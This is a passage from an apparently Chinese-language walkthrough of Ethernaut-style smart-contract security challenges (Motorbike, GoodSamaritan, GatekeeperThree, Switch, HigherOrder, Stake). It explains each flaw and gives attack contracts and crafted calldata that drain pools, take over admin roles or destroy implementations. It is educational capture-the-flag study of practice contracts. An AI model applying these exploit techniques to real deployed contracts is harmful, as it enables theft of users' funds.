pw = new PuzzleWallet();
pp = new PuzzleProxy(msg.sender, address(pw), "");
}
function attack() external returns (address) {
pp.proposeNewAdmin(address(this));
bytes memory data = abi.encodeWithSelector(
bytes4(keccak256("addToWhitelist(address)")),
address(this)
);
address(pp).call(data);
uint256 value = tovalue(address(this));
data = abi.encodeWithSelector(
bytes4(keccak256("setMaxBalance(uint256)")),
value
);
address(pp).call(data);
return pp.admin();
}
Motorbike
Reference
目标
让合约无法正常使用
分析
代理合约
Proxy
合约存储状态,Engine
合约存储逻辑Engine
合约的数据更新不会影响Proxy
合约的数据,因为Proxy
只会使自己合约存储的数据Proxy
合约的数据更新不会影响Engine
合约的数据Proxy
合约的数据更新只会影响Engine
合约的函数判断,因为Proxy
会把Engine
合约逻辑拿到Proxy EVM
环境中执行
Engine-initialize
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
Proxy
部署时执行了Engine
合约的initialize()
函数,但是 delegatecall 的数据更新仅存在 Proxy 合约中- 在
Engine
中数据存储仍然为空
Engine-upgradeAndCall()
function upgradeToAndCall(address newImplementation, bytes memory data)
external
payable
{
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
- 函数需要
upgrade
地址调用 - 在
Engine
逻辑合约中,upgrade
通过调用initialize()
函数更新 _upgradeToAndCall
更新逻辑地址并发起 delegatecall 的初始化交易
实现逻辑–修改admin为attack()合约地址
- 部署
Attack()
合约,实现自毁函数 - 调用
Engine
合约initialize()
函数,注册成为upgrade
- 在
Engine
合约中调用upgradeAndCall()
函数:Attack()
作为逻辑地址- 初始化代码执行自毁函数
function attack() external {
engine.initialize();
bytes memory data = abi.encodeWithSelector(this.destroy.selector);
engine.upgradeToAndCall(address(this), data);
}
GoodSamaritan
Reference
目标
掏空奖池
分析
Wallet
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
wallet函数分析
donate10()
函数存在两个分支:- 钱包余额小于10的话,返回
revert NotEnoughBalance()
报错 - 调用
Coin-transfer()
函数,转账10Token
到特定账户。
- 钱包余额小于10的话,返回
transferRemainder()
函数,调用Coin
合约,将wallet
全部资产转到特定地址
Coin
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if (amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if (dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
coin函数分析
Coin-transfer()
函数首先查询调用者的余额,和转账金额进行匹配:- 匹配成功的话:
- 更新
from/to
的地址的余额 - 如果
to
地址是合约地址的话,调用to-的notify()
函数
- 更新
- 匹配失败的话,返回
revert InsufficientBalance()
错误
- 匹配成功的话:
GoodSamaritan
function requestDonation() external returns (bool enoughBalance) {
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (
keccak256(abi.encodeWithSignature("NotEnoughBalance()")) ==
keccak256(err)
) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
函数分析
requestDonation
函数捕获wallet-donate10
的异常:- 无异常的话,返回
true
- 如果异常类型是
NotEnoughBalance()
的错误:- 默认余额不足,调用
Wallet-transferRemainder()
函数转账全部资产
- 默认余额不足,调用
- 不捕获其余异常
- 无异常的话,返回
攻击合约分析
function notify(uint256 amount) external {
// while (coin.balances(address(wallet)) > 999690) {
// goodSamaritan.requestDonation();
// }
if (amount <= 10) {
revert NotEnoughBalance();
}
}
to
合约调用GoodSamaritan-requestDonation()
函数,并捕获异常:- 首先调用
Wallet-donate10()
函数,Wallet
钱包存在10**6Token
, 进入Wallet-donate10()
第二分支(Coin-transfer)
Wallet
钱包存在足额资产,在Coin-transfer()
中进入第一分支- 在
Coin-transfer()
第一分支中,首先更新from/to
地址余额,之后调用to-notify()
函数 to
合约中定义notify()
函数,在余额小于等于10的情况下返回revert NotEnoughBalance()
报错
- 首先调用
GoodSamaritan-requestDonation()
函数捕获到异常:NotEnoughBalance()
- 在
NotEnoughBalance
异常匹配中,调用Wallet-transferRemainder()
函数 Wallet-transferRemainder()
函数 底层调用Coin-transfer()
函数,转移全部的Token资产Coin-transfer()
函数进入转账环节,在调用to-notify()
函数时,余额不小于10,则不会返回revert
报错- 交易完成
- 在
Attack合约
contract Attack is INotifyable {
GoodSamaritan public goodSamaritan;
// Coin coin;
// Wallet wallet;
error NotEnoughBalance();
constructor(GoodSamaritan _goodSamaritan) // Coin _coin,
// Wallet _wallet
{
goodSamaritan = _goodSamaritan;
// coin = _coin;
// wallet = _wallet;
}
function notify(uint256 amount) external {
// while (coin.balances(address(wallet)) > 999690) {
// goodSamaritan.requestDonation();
// }
if (amount <= 10) {
revert NotEnoughBalance();
}
}
function attack() external {
goodSamaritan.requestDonation();
}
}
GateKeeperThree
Reference
目标
成为 entrant 地址
分析
只是一个错误函数名称引起的错误,任何地址都可以成为owner
function construct0r() public {
owner = msg.sender;
}
attack 合约
contract AttackPassward {
uint256 public password;
SimpleTrick public trick;
GatekeeperThree public gthree;
constructor(SimpleTrick _trick, GatekeeperThree _gthree) payable {
trick = _trick;
gthree = _gthree;
}
function attackPassword() public {
password = block.timestamp;
trick.checkPassword(password);
gthree.construct0r();
gthree.getAllowance(password);
address(gthree).call{value: 0.0011 ether}("");
gthree.enter();
}
// receive() external payable {}
}
Switch
Reference
目标
flip switch
分析
Calldata
- 静态参数(int,uint,address,bool,bytes-n,tuples)高位补0,编码成256bits.
- 动态参数编码(string,bytes,array)分三部分:
- 第一部分的256bits(32位)表明 offset,calldata的起始位置
- 第二部分的256bits(32位)表明 length,calldata中动态参数的长度
- 第三部分就是动态参数,不满32位的在后面补0
Examples
contract Example {
function transfer(bytes memory data, address to) external;
}
//data: 0x1234
//to: 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
其中,to地址作为静态类型,bytes作为动态类型,编码为:
0xbba1b1cd
+0000000000000000000000000000000000000000000000000000000000000040
+0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
+0000000000000000000000000000000000000000000000000000000000000002
+1234000000000000000000000000000000000000000000000000000000000000
其中:
0x
function selector (transfer):
Bba1b1cd
offset of the 'data' param (64 in decimal):
0000000000000000000000000000000000000000000000000000000000000040
address param 'to':
0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
length of the 'data' param:
0000000000000000000000000000000000000000000000000000000000000002
value of the 'data' param:
1234000000000000000000000000000000000000000000000000000000000000
flipSwitch函数
function flipSwitch(bytes memory _data) public onlyOff {
(bool success, ) = address(this).call(_data);
require(success, "call failed :(");
}
modifier onlyOff() {
// you can use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(
selector[0] == offSelector,
"Can only call the turnOffSwitch function"
);
_;
}
- onlyOff 修饰符要求函数调用传递的参数中 从index=68处取4个字节的数据 等于
bytes4(keccak256("turnSwitchOff()"))
- 因此,传递的是数据仅需要保证 1 中的条件,但是实际调用的参数
bytes4(keccak256("turnSwitchOn()"))
可以往后放:
function selector:
30c13ade
offset, now = 96-bytes:
0000000000000000000000000000000000000000000000000000000000000060
extra bytes:
0000000000000000000000000000000000000000000000000000000000000000
here is the check at 68 byte (used only for the check, not relevant for the external call made by our function):
20606e1500000000000000000000000000000000000000000000000000000000
length of the data:
0000000000000000000000000000000000000000000000000000000000000004
data that contains the selector of the function that will be called from our function:
76227e1200000000000000000000000000000000000000000000000000000000
HigherOrder
Reference
目标
成为合约的leaderShip
分析
commander
uint256 public treasury;
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}
function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
- 只要
treasury
大于255,任何地址就可以成为commander
registerTreasury(uint8)
通过uint8
限制传参(最大值255)- 但是函数调用可以通过直接底层的call调用,
call
调用中数据被编码成256bit
,数值远大于255 - 因此,只需要在
calldata
中输入任意大于 255 的数值就可以更新treasury
的值 0x211c85ab0000000000000000000000000000000000000000000000000000000000000100
Stake
Reference
目标
掏空奖池
分析
call()
call()函数返回执行结果和状态,但是在远端call交易失败的情况下,整笔交易不会回滚,因此需要判断返回的状态
function StakeWETH(uint256 amount) public returns (bool) {
require(amount > 0.001 ether, "Don't be cheap");
(, bytes memory allowance) = WETH.call( //allowance()
abi.encodeWithSelector(0xdd62ed3e, msg.sender, address(this))
);
require(
bytesToUint(allowance) >= amount,
"How am I moving the funds honey?"
);
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(
abi.encodeWithSelector(
0x23b872dd, // transferFrom
msg.sender,
address(this),
amount
)
);
Stakers[msg.sender] = true;
return transfered; // Not checking postposition
}
- 在质押WETH的交易中,仅仅检查了授权情况,在底层的转账 call中并没有实际检查转账状态
- 授权交易不会判断余额
- 存在无WETH钱包仅授权当前stake账户,实际转账交易无法执行。但是stake合约没有判断转账状态,直接更新当前质押余额
- 因此,可以通过一直空质押WETH刷新增加质押余额,然后直接退款ETH,掏空奖池